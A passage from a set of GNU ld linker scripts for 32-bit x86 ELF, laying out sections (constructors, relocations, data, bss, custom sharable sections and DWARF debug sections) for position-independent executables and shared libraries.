       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -pie -z combreloc: position independent executable, combine & sort relocs */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.dyn        :
    {
      *(.rel.init)
      *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*)
      *(.rel.fini)
      *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*)
      *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*)
      *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*)
      *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*)
      *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*)
      *(.rel.ctors)
      *(.rel.dtors)
      *(.rel.got)
      *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*)
      *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*)
      *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*)
      *(.rel.ifunc)
    }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (12, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for ld -pie: link position independent executable */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.init       : { *(.rel.init) }
  .rel.text       : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) }
  .rel.fini       : { *(.rel.fini) }
  .rel.rodata     : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) }
  .rel.data.rel.ro   : { *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*) }
  .rel.data       : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) }
  .rel.tdata	  : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) }
  .rel.tbss	  : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) }
  .rel.ctors      : { *(.rel.ctors) }
  .rel.dtors      : { *(.rel.dtors) }
  .rel.got        : { *(.rel.got) }
  .rel.sharable_data	  : { *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*) }
  .rel.sharable_bss	  : { *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*) }
  .rel.bss        : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) }
  .rel.ifunc      : { *(.rel.ifunc) }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (12, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for --shared -z combreloc -z now -z relro: shared library, combine & sort relocs */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.dyn        :
    {
      *(.rel.init)
      *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*)
      *(.rel.fini)
      *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*)
      *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*)
      *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*)
      *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*)
      *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*)
      *(.rel.ctors)
      *(.rel.dtors)
      *(.rel.got)
      *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*)
      *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*)
      *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*)
      *(.rel.ifunc)
    }
  .rel.plt        :
    {
      *(.rel.plt)
      *(.rel.iplt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
